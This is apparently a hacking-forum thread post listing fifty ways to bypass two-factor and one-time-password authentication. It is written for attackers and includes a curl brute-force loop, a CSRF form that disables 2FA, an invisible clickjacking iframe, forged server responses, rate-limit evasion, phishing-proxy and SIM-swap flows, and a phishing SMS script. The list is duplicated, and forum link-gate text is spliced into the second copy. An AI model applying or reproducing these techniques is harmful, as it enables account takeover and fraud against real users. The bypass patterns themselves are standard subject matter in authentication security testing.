- Joined
- Jan 9, 2025
- Messages
- 11
- Reaction score
- 0
- Points
- 1
- Awards
- 1
- Location
- Antartica
- Website
- www.anal.com
- EvilCoin
- 158
- Crypto
- 0
- Thread Author
- #1
50 2FA/OTP Bypasses that should work. BLINKZK
Concept: Modify server responses to trick the client into believing the login/2FA succeeded.
Example:
Original Response
HTTP/1.1 200 OK
Content-Type: application/json
{
"error_code": 401,
"error_message": "Invalid 2FA code"
}
Manipulated Response
HTTP/1.1 200 OK
Content-Type: application/json
{
"error_code": 200,
"error_message": "2FA code accepted"
}
If the frontend only checks for error_code: 200, it may grant access.
2. Status Code Manipulation
Concept: If the server responds with a 4xx status, change it to 200 in your proxy or script, hoping the client accepts it as successful.
Example:
# Server returns:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"message": "2FA verification failed"
}
# Attacker alters it in transit to:
HTTP/1.1 200 OK
Content-Type: application/json
{
"message": "2FA verification succeeded"
}
Poorly coded clients may just check the status code instead of verifying the body.
3. 2FA Code Leakage in Response
Concept: The server (or front-end) might mistakenly include the 2FA code in a response, debug message, or hidden field.
Example:
User requests a 2FA code at
The response includes a hidden 2faCode field in JSON:
{
"status": "ok",
"2faCode": "123456"
}
An attacker monitoring network logs sees "2faCode": "123456" and uses it immediately.
4. JavaScript File Analysis
Concept: The code that handles 2FA might be visible in .js files.
Example Command:
cat all-js-files.txt | grep -Ei '(otp|2fa|one[-_]?time[-_]?password|verification[-_]?code|auth[-_]?token)'
Sometimes you’ll find references like var otpSecret = "123456";.
5. 2FA Code Reusability
Concept: Some systems let you reuse an old code more than once.
Example Attack Flow with example.com:
Attacker opens two sessions: Session A and Session B.
In Session A, requests a 2FA code (e.g., 123456).
Tries using the same 123456 on Session B to bypass 2FA for a different user.
6. Lack of Brute-Force Protection
Concept: No lockout or rate limiting on the 2FA endpoint.
Example:
Attacker runs a script:
for code in 000000..999999
do
curl -X POST
-d '{"code":"'"$code"'"}' \
-H "Content-Type: application/json"
done
Eventually guesses the correct code.
7. CSRF on 2FA Disabling
Concept: An attacker can craft a link or form to disable 2FA on the victim’s account without the victim’s knowledge.
Example HTML Form:
<form action="
<input type="hidden" name="disable" value="true">
</form>
If the victim is logged in and no CSRF protection exists, 2FA is disabled when the form auto-submits.
8. Password Reset Disables 2FA
Concept: The application might disable 2FA automatically upon password reset.
Example Flow:
Go to
After resetting the password, the account no longer prompts for 2FA.
9. Clickjacking on 2FA Disabling Page
Concept: Iframe or overlay the 2FA disable button so the victim unknowingly clicks it.
Example:
Attacker’s malicious site frames:
<iframe src="
</iframe>
The victim clicks on a decoy button but actually clicks “Disable 2FA.”
10. Not Expiring Old Sessions
Concept: Enabling 2FA should invalidate all existing sessions. If it does not, an old session remains valid.
Example:
User logs in on Browser A and Browser B.
From Browser A, user enables 2FA at
Browser B remains logged in without needing the newly enabled 2FA.
11. Using 000000 or Empty Code
Concept: Some poorly implemented 2FA checks treat empty or 000000 as a wildcard pass.
Example Request:
POST /api/2fa/verify HTTP/1.1
Host: example.com
Content-Type: application/json
{
"code": "000000"
}
If the server incorrectly validates this as successful, the 2FA is bypassed.
12. Bypassing OTP in Registration via Repeated Submissions
Concept: Spamming the same registration step might skip OTP validation.
Example Flow:
Attacker repeatedly sends POST /api/register with minimal changes, hoping the logic eventually moves them forward without verifying OTP.
13. Replay Attack
Concept: Resend a previously valid 2FA code.
Example:
Attacker intercepts code 123456 for user at
Tries it again moments later for the same or different user. If accepted, it’s a replay vulnerability.
14. Authentication Token Misuse
Concept: The application issues a bearer token after one successful 2FA verification and never re-checks.
Example:
Receive token abcd1234 from:
POST /login
Host: example.com
Authorization: Bearer abcd1234
Use abcd1234 on another device or later session without repeating 2FA.
15. Parameter Tampering
Concept: Modify parameters related to 2FA code generation/verification.
Example:
Code Generation: POST /api/2fa/generate?user=attacker
Code Validation: POST /api/2fa/verify?code=123456&role=admin
Possibly injecting new parameters or removing required ones to bypass checks.
16. Brute-Forcing with Burp Suite Intruder
Concept: An automated approach to guess 2FA codes if no rate limit is present.
Example Steps:
Intercept POST /api/2fa/verify.
Set code=§123456§ as a variable in Burp.
Let Burp Intruder iterate through possible codes (000000–999999).
17. Weak or Unprotected “Backup Codes”
Concept: Many sites provide printable or one-time backup codes. If these are guessable or stored insecurely, they allow bypass.
Example:
Backup codes: 111111, 222222, 333333
Attacker guesses or finds them in user’s email or logs and bypasses 2FA at
18. Insecure Token Generation (Weak JWT or Predictable ID)
Concept: If the server uses predictable JWTs or session IDs, attackers can craft valid tokens.
Example:
Observing a pattern like: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
If the secret is weak (e.g., secret123), an attacker cracks the JWT and forges a valid token.
19. Time Analysis (Accepting Old Codes)
Concept: The server still accepts TOTPs older than 30 seconds (or the configured window).
Example:
Attacker uses a code that was valid a minute ago at
If it’s still accepted, it’s a time-window flaw.
20. Session Management Flaws
Concept: The application doesn’t invalidate or refresh tokens after 2FA is completed.
Example:
A user logs in, obtains a session token.
2FA is later enabled but the session token remains valid indefinitely at
21. Reusing a Token for a Different Account
Concept: A valid 2FA token for one account might be accepted for another.
Example:
Attacker logs in with their account, gets token=abcd1234.
Sends a new login request for victim’s account with Authorization: Bearer abcd1234.
If accepted, 2FA is bypassed.
22. Access the “Next” Endpoint Directly
Concept: Some apps rely on the frontend to enforce 2FA steps, so accessing the protected endpoint directly might skip 2FA.
Example:
Instead of going to
Or manually sets Referer:
23. CSRF/Clickjacking to Disable 2FA (Combined)
Concept: Similar to #7 and #9, but specifically focusing on forging or overlaying the request to disable 2FA.
Example:
<iframe src="
If no protection, the attacker can disable a victim’s 2FA behind the scenes.
24. 2FA Bypass by Sharing Unused Tokens
Concept: Like #21, but focuses on the scenario where your valid 2FA token can be used for someone else’s login, if the server doesn’t link tokens to user IDs properly.
Example:
POST /api/2fa/verify with body {"code":"123456","user":"attacker"}
Reuse the same 123456 for {"user":"victim"} if the backend only checks code validity, not user binding.
25. Rate Limiting Issues
Concept: Repeated 2FA requests or code attempts are not blocked.
Example Workaround:
POST /api/2fa/verify → If you get a 429 Too Many Requests, you change the endpoint to /api/2FA/verify or add ?extra=1.
The server might treat it as a new route, bypassing rate limits.
26. Password Reset Disables 2FA
Concept: After resetting the password at
27. Simple Developer Tool Tricks
Concept: Sometimes the HTML or JavaScript includes the OTP directly in an element.
Example:
Right-click the “Verify” button → Inspect → Find a hidden field:
<input type="hidden" id="2fa_code" value="654321">
Attacker can read the code without receiving the SMS/Authenticator.
28. Real-Time Phishing Proxy (Evilginx, Modlishka, EvilProxy)
Concept: A phishing site that proxies to example.com in real time, capturing credentials and the 2FA token.
Example Flow:
Victim goes to
The proxy forwards all traffic to
When the user enters the 2FA code, the proxy captures and replays it instantly.
29. Push Notification “MFA Prompt Bombing”
Concept: Apps like “Approve sign-in?” can be exploited by spamming the user with requests.
Example:
Attacker triggers repeated “Approve?” notifications to the user’s phone.
User eventually taps “Approve” just to stop the annoyance, granting the attacker access.
30. Exfiltration of TOTP Secrets / QR Code Theft
Concept: If you can intercept or view the secret key during setup, you can generate valid TOTPs forever.
Example:
User sets up 2FA at
Logs or debug output on the server might show secret=ABC123XYZ.
Attacker uses ABC123XYZ to generate TOTPs indefinitely.
31. “Remember My Device” Not Properly Enforced
Concept: Many sites offer an option like “Don’t prompt for 2FA on this device for 30 days.” If the mechanism behind it is weak or tied only to cookies or local storage, attackers can manipulate it.
Example:
POST /api/2fa/verify with { "rememberDevice": true }.
The server sets a cookie: 2fa_remember=1.
An attacker copies this cookie from a compromised browser or injects it into their own session.
Now 2FA prompts are skipped on the attacker’s device.
32. Logging TOTP Seed in Application Logs
Concept: The TOTP seed (shared secret) might be written to logs or console output during setup or debugging. An attacker with log access can retrieve it.
Example:
User visits
The server logs: Generated TOTP seed for user 123: HF3K32JHFD768S2.
Attacker has read-access to log files and finds the TOTP seed.
Attacker can now generate valid TOTPs at will.
33. IDOR Access to Another User’s 2FA Config
Concept: Insecure Direct Object References (IDOR) might allow an attacker to view or modify another user’s 2FA settings.
Example:
Attacker navigates to
If the server doesn’t check ownership, the attacker sees user 124’s 2FA backup codes or secrets.
34. Email-based 2FA Link Not Invalidated After One Use
Concept: Some sites send a “Click this link to confirm login” email instead of a code. If the link can be reused or not invalidated quickly, it can be abused.
Example:
The link is something like
After the user clicks it once, the link should become invalid.
If it remains valid, an attacker who intercepts or replays it can bypass 2FA.
35. “Skip 2FA for X Days” Feature
Concept: Similar to #31, some sites store a long-lived cookie to skip 2FA for a period. If not protected well (e.g., no binding to IP or device fingerprint), attackers can steal the cookie.
Example:
User checks “Skip 2FA for 7 days” at
A skip2FA=1 cookie is set.
Attacker steals it from the user’s browser or a vulnerable endpoint.
Attacker logs in from a new device with that cookie, skipping 2FA.
36. Intercepting 2FA Codes in Transit (Misconfigured SSL/TLS or Proxy)
Concept: If traffic to example.com is not properly encrypted or an internal proxy logs traffic in plaintext, attackers can sniff SMS/email 2FA codes.
Example:
POST /api/2fa/sendCode is sent over HTTP (not HTTPS).
An attacker sniffing on the network sees the code 987654 in plaintext.
37. Stolen Phone Backup or Authenticator App Data
Concept: Users sometimes back up their phone (including authenticator apps) to cloud services that are not secure. If the attacker obtains that backup, they gain the TOTP seeds.
Example:
User’s phone automatically backs up ~/Android/data/authenticator_data to a third-party cloud.
The attacker compromises that cloud storage.
All TOTP seeds for example.com accounts are now exposed.
38. Auth Token Reuse After Password Change
Concept: Some apps only invalidate session tokens upon password reset but forget to re-prompt 2FA.
Example:
User changes password at
The existing auth token Bearer abcd1234 from before the change remains valid.
Attacker with that token can keep accessing user resources without needing the new password or 2FA.
39. Social Engineering the Helpdesk
Concept: Attackers call support, claiming they lost their phone and 2FA device, persuading staff to reset or disable 2FA.
Example:
Attacker calls example.com support: “I’m locked out, my phone died. I urgently need access.”
If support has weak identity checks, they might disable 2FA or provide a one-time override code.
40. SIM Swap (SMS 2FA Attack)
Concept: By convincing a mobile carrier to port a phone number to a new SIM, attackers can receive the victim’s SMS 2FA codes.
Example:
Attacker contacts the victim’s phone carrier: “I lost my SIM, please transfer my number.”
Once the attacker’s SIM is active with the victim’s number, they receive all SMS codes from example.com.
41. Email Account Compromise
Concept: Email is often a fallback for 2FA resets or backup codes. Compromising the user’s email leads to bypassing 2FA.
Example:
Attacker hacks victim@examplemail.com.
Requests a password reset at example.com, sees a 2FA challenge: “We’ve sent a link/code to your email.”
Attacker opens the victim’s email, finds the link/code, and bypasses 2FA.
42. Hidden or Legacy Endpoints That Bypass 2FA
Concept: Old or internal endpoints can exist that do not enforce 2FA.
Example:
The main login endpoint is POST /api/v2/login (requires 2FA).
A legacy endpoint POST /api/v1/auth may ignore 2FA.
Attacker uses POST /api/v1/auth with valid credentials to bypass 2FA entirely.
43. Bypassing 2FA in Mobile Applications (Reverse Engineering)
Concept: If the mobile app stores the 2FA logic client-side or has special endpoints, an attacker might modify the app or intercept calls.
Example:
Reverse engineer example.apk and find a function bypass2FA() that returns true if a certain flag is set.
Patch the APK or intercept traffic to that endpoint.
44. Misconfigured Single Sign-On (SSO)
Concept: If example.com uses SSO (e.g., OAuth, SAML) but 2FA is enforced only on certain flows, an attacker might log in via a different identity provider that doesn’t require 2FA.
Example:
The standard flow POST /oauth/login triggers 2FA.
A secondary SAML endpoint at /saml/login?app=example incorrectly does not prompt for 2FA.
Attacker uses the SAML endpoint to bypass 2FA.
45. Weak “Security Questions” as Fallback to 2FA
Concept: Some sites let you skip 2FA if you answer a “What is your mother’s maiden name?” question. Attackers can guess or research these.
Example:
Attacker tries a few known maternal last names.
Gains direct access if the question is easily guessed (Smith, Johnson, Brown, etc.).
46. Hardware Token Attacks / Specialized Hardware Trojan
Concept: Hardware-based 2FA (like YubiKeys) can still be attacked if the hardware or firmware is replaced, tampered with, or side-loaded with malicious code.
Example:
Attacker gifts a “YubiKey” lookalike to the user.
The device sends predictable or attacker-controlled codes, effectively letting the attacker generate duplicates.
47. Race Condition with Concurrent Logins
Concept: If the application incorrectly handles multiple simultaneous login attempts, an attacker might slip in a session without verifying 2FA.
Example:
Attacker floods
Due to a race condition, the server might mark a session as verified prematurely.
48. Using Old TOTP Seeds from a Prior Registration
Concept: If a user re-registers or resets 2FA multiple times, older seeds might still be accepted if not properly invalidated.
Example:
User sets up 2FA with seed ABC123 at
Resets 2FA, generating a new seed XYZ789.
If ABC123 TOTP is still valid, an attacker who obtained it can log in.
49. Bypassing 2FA by Reusing the Same Password on Another Subdomain
Concept: If subdomain admin.example.com has 2FA, but crm.example.com only requires a password, an attacker might pivot from CRM to Admin once authenticated.
Example:
Attacker logs into
A shared session or SSO token allows them to move to
50. Extortion or Traditional Phishing for 2FA Code
Concept: Classic social engineering—tricking the user into revealing the OTP code.
Example:
Attacker sends an SMS: “Your account at example.com is compromised. Reply with your 6-digit code to verify identity.”
Victim unknowingly replies with 654321, handing the code to the attacker.
Concept: Modify server responses to trick the client into believing the login/2FA succeeded.
Example:
Original Response
HTTP/1.1 200 OK
Content-Type: application/json
{
"error_code": 401,
"error_message": "Invalid 2FA code"
}
Manipulated Response
HTTP/1.1 200 OK
Content-Type: application/json
{
"error_code": 200,
"error_message": "2FA code accepted"
}
If the frontend only checks for error_code: 200, it may grant access.
2. Status Code Manipulation
Concept: If the server responds with a 4xx status, change it to 200 in your proxy or script, hoping the client accepts it as successful.
Example:
# Server returns:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"message": "2FA verification failed"
}
# Attacker alters it in transit to:
HTTP/1.1 200 OK
Content-Type: application/json
{
"message": "2FA verification succeeded"
}
Poorly coded clients may just check the status code instead of verifying the body.
3. 2FA Code Leakage in Response
Concept: The server (or front-end) might mistakenly include the 2FA code in a response, debug message, or hidden field.
Example:
User requests a 2FA code at
You must be registered for see links
.The response includes a hidden 2faCode field in JSON:
{
"status": "ok",
"2faCode": "123456"
}
An attacker monitoring network logs sees "2faCode": "123456" and uses it immediately.
4. JavaScript File Analysis
Concept: The code that handles 2FA might be visible in .js files.
Example Command:
cat all-js-files.txt | grep -Ei '(otp|2fa|one[-_]?time[-_]?password|verification[-_]?code|auth[-_]?token)'
Sometimes you’ll find references like var otpSecret = "123456";.
5. 2FA Code Reusability
Concept: Some systems let you reuse an old code more than once.
Example Attack Flow with example.com:
Attacker opens two sessions: Session A and Session B.
In Session A, requests a 2FA code (e.g., 123456).
Tries using the same 123456 on Session B to bypass 2FA for a different user.
6. Lack of Brute-Force Protection
Concept: No lockout or rate limiting on the 2FA endpoint.
Example:
Attacker runs a script:
for code in 000000..999999
do
curl -X POST
You must be registered for see links
\-d '{"code":"'"$code"'"}' \
-H "Content-Type: application/json"
done
Eventually guesses the correct code.
7. CSRF on 2FA Disabling
Concept: An attacker can craft a link or form to disable 2FA on the victim’s account without the victim’s knowledge.
Example HTML Form:
<form action="
You must be registered for see links
" method="POST"><input type="hidden" name="disable" value="true">
</form>
If the victim is logged in and no CSRF protection exists, 2FA is disabled when the form auto-submits.
8. Password Reset Disables 2FA
Concept: The application might disable 2FA automatically upon password reset.
Example Flow:
Go to
You must be registered for see links
.After resetting the password, the account no longer prompts for 2FA.
9. Clickjacking on 2FA Disabling Page
Concept: Iframe or overlay the 2FA disable button so the victim unknowingly clicks it.
Example:
Attacker’s malicious site frames:
<iframe src="
You must be registered for see links
" style="opacity:0; position:absolute;"></iframe>
The victim clicks on a decoy button but actually clicks “Disable 2FA.”
10. Not Expiring Old Sessions
Concept: Enabling 2FA should invalidate all existing sessions. If it does not, an old session remains valid.
Example:
User logs in on Browser A and Browser B.
From Browser A, user enables 2FA at
You must be registered for see links
.Browser B remains logged in without needing the newly enabled 2FA.
11. Using 000000 or Empty Code
Concept: Some poorly implemented 2FA checks treat empty or 000000 as a wildcard pass.
Example Request:
POST /api/2fa/verify HTTP/1.1
Host: example.com
Content-Type: application/json
{
"code": "000000"
}
If the server incorrectly validates this as successful, the 2FA is bypassed.
12. Bypassing OTP in Registration via Repeated Submissions
Concept: Spamming the same registration step might skip OTP validation.
Example Flow:
Attacker repeatedly sends POST /api/register with minimal changes, hoping the logic eventually moves them forward without verifying OTP.
13. Replay Attack
Concept: Resend a previously valid 2FA code.
Example:
Attacker intercepts code 123456 for user at
You must be registered for see links
.Tries it again moments later for the same or different user. If accepted, it’s a replay vulnerability.
14. Authentication Token Misuse
Concept: The application issues a bearer token after one successful 2FA verification and never re-checks.
Example:
Receive token abcd1234 from:
POST /login
Host: example.com
Authorization: Bearer abcd1234
Use abcd1234 on another device or later session without repeating 2FA.
15. Parameter Tampering
Concept: Modify parameters related to 2FA code generation/verification.
Example:
Code Generation: POST /api/2fa/generate?user=attacker
Code Validation: POST /api/2fa/verify?code=123456&role=admin
Possibly injecting new parameters or removing required ones to bypass checks.
16. Brute-Forcing with Burp Suite Intruder
Concept: An automated approach to guess 2FA codes if no rate limit is present.
Example Steps:
Intercept POST /api/2fa/verify.
Set code=§123456§ as a variable in Burp.
Let Burp Intruder iterate through possible codes (000000–999999).
17. Weak or Unprotected “Backup Codes”
Concept: Many sites provide printable or one-time backup codes. If these are guessable or stored insecurely, they allow bypass.
Example:
Backup codes: 111111, 222222, 333333
Attacker guesses or finds them in user’s email or logs and bypasses 2FA at
You must be registered for see links
.18. Insecure Token Generation (Weak JWT or Predictable ID)
Concept: If the server uses predictable JWTs or session IDs, attackers can craft valid tokens.
Example:
Observing a pattern like: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
If the secret is weak (e.g., secret123), an attacker cracks the JWT and forges a valid token.
19. Time Analysis (Accepting Old Codes)
Concept: The server still accepts TOTPs older than 30 seconds (or the configured window).
Example:
Attacker uses a code that was valid a minute ago at
You must be registered for see links
.If it’s still accepted, it’s a time-window flaw.
20. Session Management Flaws
Concept: The application doesn’t invalidate or refresh tokens after 2FA is completed.
Example:
A user logs in, obtains a session token.
2FA is later enabled but the session token remains valid indefinitely at
You must be registered for see links
.21. Reusing a Token for a Different Account
Concept: A valid 2FA token for one account might be accepted for another.
Example:
Attacker logs in with their account, gets token=abcd1234.
Sends a new login request for victim’s account with Authorization: Bearer abcd1234.
If accepted, 2FA is bypassed.
22. Access the “Next” Endpoint Directly
Concept: Some apps rely on the frontend to enforce 2FA steps, so accessing the protected endpoint directly might skip 2FA.
Example:
Instead of going to
You must be registered for see links
, attacker attempts
You must be registered for see links
directly.Or manually sets Referer:
You must be registered for see links
to fool the check.23. CSRF/Clickjacking to Disable 2FA (Combined)
Concept: Similar to #7 and #9, but specifically focusing on forging or overlaying the request to disable 2FA.
Example:
<iframe src="
You must be registered for see links
" style="opacity:0"></iframe>If no protection, the attacker can disable a victim’s 2FA behind the scenes.
24. 2FA Bypass by Sharing Unused Tokens
Concept: Like #21, but focuses on the scenario where your valid 2FA token can be used for someone else’s login, if the server doesn’t link tokens to user IDs properly.
Example:
POST /api/2fa/verify with body {"code":"123456","user":"attacker"}
Reuse the same 123456 for {"user":"victim"} if the backend only checks code validity, not user binding.
25. Rate Limiting Issues
Concept: Repeated 2FA requests or code attempts are not blocked.
Example Workaround:
POST /api/2fa/verify → If you get a 429 Too Many Requests, you change the endpoint to /api/2FA/verify or add ?extra=1.
The server might treat it as a new route, bypassing rate limits.
26. Password Reset Disables 2FA
Concept: After resetting the password at
You must be registered for see links
, the 2FA requirement is dropped (similar to #8, but commonly observed in different frameworks).27. Simple Developer Tool Tricks
Concept: Sometimes the HTML or JavaScript includes the OTP directly in an element.
Example:
Right-click the “Verify” button → Inspect → Find a hidden field:
<input type="hidden" id="2fa_code" value="654321">
Attacker can read the code without receiving the SMS/Authenticator.
28. Real-Time Phishing Proxy (Evilginx, Modlishka, EvilProxy)
Concept: A phishing site that proxies to example.com in real time, capturing credentials and the 2FA token.
Example Flow:
Victim goes to
You must be registered for see links
.The proxy forwards all traffic to
You must be registered for see links
behind the scenes.When the user enters the 2FA code, the proxy captures and replays it instantly.
29. Push Notification “MFA Prompt Bombing”
Concept: Apps like “Approve sign-in?” can be exploited by spamming the user with requests.
Example:
Attacker triggers repeated “Approve?” notifications to the user’s phone.
User eventually taps “Approve” just to stop the annoyance, granting the attacker access.
30. Exfiltration of TOTP Secrets / QR Code Theft
Concept: If you can intercept or view the secret key during setup, you can generate valid TOTPs forever.
Example:
User sets up 2FA at
You must be registered for see links
and sees a QR code.Logs or debug output on the server might show secret=ABC123XYZ.
Attacker uses ABC123XYZ to generate TOTPs indefinitely.
31. “Remember My Device” Not Properly Enforced
Concept: Many sites offer an option like “Don’t prompt for 2FA on this device for 30 days.” If the mechanism behind it is weak or tied only to cookies or local storage, attackers can manipulate it.
Example:
POST /api/2fa/verify with { "rememberDevice": true }.
The server sets a cookie: 2fa_remember=1.
An attacker copies this cookie from a compromised browser or injects it into their own session.
Now 2FA prompts are skipped on the attacker’s device.
32. Logging TOTP Seed in Application Logs
Concept: The TOTP seed (shared secret) might be written to logs or console output during setup or debugging. An attacker with log access can retrieve it.
Example:
User visits
You must be registered for see links
.The server logs: Generated TOTP seed for user 123: HF3K32JHFD768S2.
Attacker has read-access to log files and finds the TOTP seed.
Attacker can now generate valid TOTPs at will.
33. IDOR Access to Another User’s 2FA Config
Concept: Insecure Direct Object References (IDOR) might allow an attacker to view or modify another user’s 2FA settings.
Example:
Attacker navigates to
You must be registered for see links
but changes 123 to 124.If the server doesn’t check ownership, the attacker sees user 124’s 2FA backup codes or secrets.
34. Email-based 2FA Link Not Invalidated After One Use
Concept: Some sites send a “Click this link to confirm login” email instead of a code. If the link can be reused or not invalidated quickly, it can be abused.
Example:
The link is something like
You must be registered for see links
.After the user clicks it once, the link should become invalid.
If it remains valid, an attacker who intercepts or replays it can bypass 2FA.
35. “Skip 2FA for X Days” Feature
Concept: Similar to #31, some sites store a long-lived cookie to skip 2FA for a period. If not protected well (e.g., no binding to IP or device fingerprint), attackers can steal the cookie.
Example:
User checks “Skip 2FA for 7 days” at
You must be registered for see links
.A skip2FA=1 cookie is set.
Attacker steals it from the user’s browser or a vulnerable endpoint.
Attacker logs in from a new device with that cookie, skipping 2FA.
36. Intercepting 2FA Codes in Transit (Misconfigured SSL/TLS or Proxy)
Concept: If traffic to example.com is not properly encrypted or an internal proxy logs traffic in plaintext, attackers can sniff SMS/email 2FA codes.
Example:
POST /api/2fa/sendCode is sent over HTTP (not HTTPS).
An attacker sniffing on the network sees the code 987654 in plaintext.
37. Stolen Phone Backup or Authenticator App Data
Concept: Users sometimes back up their phone (including authenticator apps) to cloud services that are not secure. If the attacker obtains that backup, they gain the TOTP seeds.
Example:
User’s phone automatically backs up ~/Android/data/authenticator_data to a third-party cloud.
The attacker compromises that cloud storage.
All TOTP seeds for example.com accounts are now exposed.
38. Auth Token Reuse After Password Change
Concept: Some apps only invalidate session tokens upon password reset but forget to re-prompt 2FA.
Example:
User changes password at
You must be registered for see links
.The existing auth token Bearer abcd1234 from before the change remains valid.
Attacker with that token can keep accessing user resources without needing the new password or 2FA.
39. Social Engineering the Helpdesk
Concept: Attackers call support, claiming they lost their phone and 2FA device, persuading staff to reset or disable 2FA.
Example:
Attacker calls example.com support: “I’m locked out, my phone died. I urgently need access.”
If support has weak identity checks, they might disable 2FA or provide a one-time override code.
40. SIM Swap (SMS 2FA Attack)
Concept: By convincing a mobile carrier to port a phone number to a new SIM, attackers can receive the victim’s SMS 2FA codes.
Example:
Attacker contacts the victim’s phone carrier: “I lost my SIM, please transfer my number.”
Once the attacker’s SIM is active with the victim’s number, they receive all SMS codes from example.com.
41. Email Account Compromise
Concept: Email is often a fallback for 2FA resets or backup codes. Compromising the user’s email leads to bypassing 2FA.
Example:
Attacker hacks victim@examplemail.com.
Requests a password reset at example.com, sees a 2FA challenge: “We’ve sent a link/code to your email.”
Attacker opens the victim’s email, finds the link/code, and bypasses 2FA.
42. Hidden or Legacy Endpoints That Bypass 2FA
Concept: Old or internal endpoints can exist that do not enforce 2FA.
Example:
The main login endpoint is POST /api/v2/login (requires 2FA).
A legacy endpoint POST /api/v1/auth may ignore 2FA.
Attacker uses POST /api/v1/auth with valid credentials to bypass 2FA entirely.
43. Bypassing 2FA in Mobile Applications (Reverse Engineering)
Concept: If the mobile app stores the 2FA logic client-side or has special endpoints, an attacker might modify the app or intercept calls.
Example:
Reverse engineer example.apk and find a function bypass2FA() that returns true if a certain flag is set.
Patch the APK or intercept traffic to that endpoint.
44. Misconfigured Single Sign-On (SSO)
Concept: If example.com uses SSO (e.g., OAuth, SAML) but 2FA is enforced only on certain flows, an attacker might log in via a different identity provider that doesn’t require 2FA.
Example:
The standard flow POST /oauth/login triggers 2FA.
A secondary SAML endpoint at /saml/login?app=example incorrectly does not prompt for 2FA.
Attacker uses the SAML endpoint to bypass 2FA.
45. Weak “Security Questions” as Fallback to 2FA
Concept: Some sites let you skip 2FA if you answer a “What is your mother’s maiden name?” question. Attackers can guess or research these.
Example:
Attacker tries a few known maternal last names.
Gains direct access if the question is easily guessed (Smith, Johnson, Brown, etc.).
46. Hardware Token Attacks / Specialized Hardware Trojan
Concept: Hardware-based 2FA (like YubiKeys) can still be attacked if the hardware or firmware is replaced, tampered with, or side-loaded with malicious code.
Example:
Attacker gifts a “YubiKey” lookalike to the user.
The device sends predictable or attacker-controlled codes, effectively letting the attacker generate duplicates.
47. Race Condition with Concurrent Logins
Concept: If the application incorrectly handles multiple simultaneous login attempts, an attacker might slip in a session without verifying 2FA.
Example:
Attacker floods
You must be registered for see links
with concurrent requests (some with invalid codes, some with none).Due to a race condition, the server might mark a session as verified prematurely.
48. Using Old TOTP Seeds from a Prior Registration
Concept: If a user re-registers or resets 2FA multiple times, older seeds might still be accepted if not properly invalidated.
Example:
User sets up 2FA with seed ABC123 at
You must be registered for see links
.Resets 2FA, generating a new seed XYZ789.
If ABC123 TOTP is still valid, an attacker who obtained it can log in.
49. Bypassing 2FA by Reusing the Same Password on Another Subdomain
Concept: If subdomain admin.example.com has 2FA, but crm.example.com only requires a password, an attacker might pivot from CRM to Admin once authenticated.
Example:
Attacker logs into
You must be registered for see links
with stolen creds (no 2FA).A shared session or SSO token allows them to move to
You must be registered for see links
without re-verifying 2FA if the single sign-on is poorly configured.50. Extortion or Traditional Phishing for 2FA Code
Concept: Classic social engineering—tricking the user into revealing the OTP code.
Example:
Attacker sends an SMS: “Your account at example.com is compromised. Reply with your 6-digit code to verify identity.”
Victim unknowingly replies with 654321, handing the code to the attacker.
